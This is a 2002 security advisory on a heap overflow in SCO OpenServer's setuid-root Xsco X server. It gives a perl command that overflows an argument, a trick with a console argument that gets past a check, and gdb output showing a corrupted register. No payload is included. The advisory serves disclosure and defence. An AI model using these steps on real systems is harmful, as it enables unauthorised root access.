SCO Openserver Xsco heap overflow.

[KF <dotslash () snosoft com>]

======================================================================

Strategic Reconnaissance Team Security Advisory (SRT2002-06-11-1037)

Topic  : SCO OpenServer Xsco heap overflow
Date   : June 11, 2002
Credit : KF dotslash[at]snosoft.com
Site   : http://www.snosoft.com

======================================================================

.: Description:
---------------

The SCO OpenServer Xsco application is installed setuid root by
default. Xsco contains the same heap overflow that Xsun has.

bash-2.03$ cd /opt/K/SCO/XServer/5.2.2a/usr/bin/X11
bash-2.03$ ls -al Xsco
-rwsr-xr-x   1 root     bin      1333588 Dec  9  1999 Xsco

If you attempt the same syntax used to overflow Xsun it appears
to be non exploitable due to not having console permission. This
is easily bypassed as shown below in the Impact section.

bash-2.03$ ./Xsco :1 -co `perl -e 'print "A" x 9000'`

Tue Jun 11 10:31:56 2002
The X Server must be run on the console.
Make sure you are not on a serial line
and are not using rlogin or usemouse.

.: Impact:
----------

If properly exploited the following could be used to take root
on the server with the Xsco binary.

bash-2.03$ ./Xsco :1 -co <b0f here> -crt /dev/console

Tue Jun 11 10:32:59 2002
Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
Segmentation Fault

0x8164073 in _grantpt ()
(gdb) bt
#0  0x8164073 in _grantpt ()
#1  0x8164532 in malloc ()
#2  0x80027103 in _s_a_get ()
#3  0x81594bc in _ptsname ()
#4  0x8087526 in wctype ()
#5  0x8085e95 in wctype ()
#6  0x80745f4 in wctype ()
#7  0x804d69b in wctype ()

(gdb) i r
eax            0x41414141       1094795585
ecx            0x495b38d4       1230715092
edx            0x0      0
ebx            0x18     24
esp            0x8045814        0x8045814
ebp            0x8045834        0x8045834
esi            0x41414140       1094795584
edi            0x819f794        135919508
eip            0x8164073        0x8164073

.: Systems Affected:
--------------------

SCO/Caldera OpenServer 5.x

.: Solution:
------------

The vendor was notified and is diligently working on a fix.
A work around is currently unknown.

======================================================================


-KF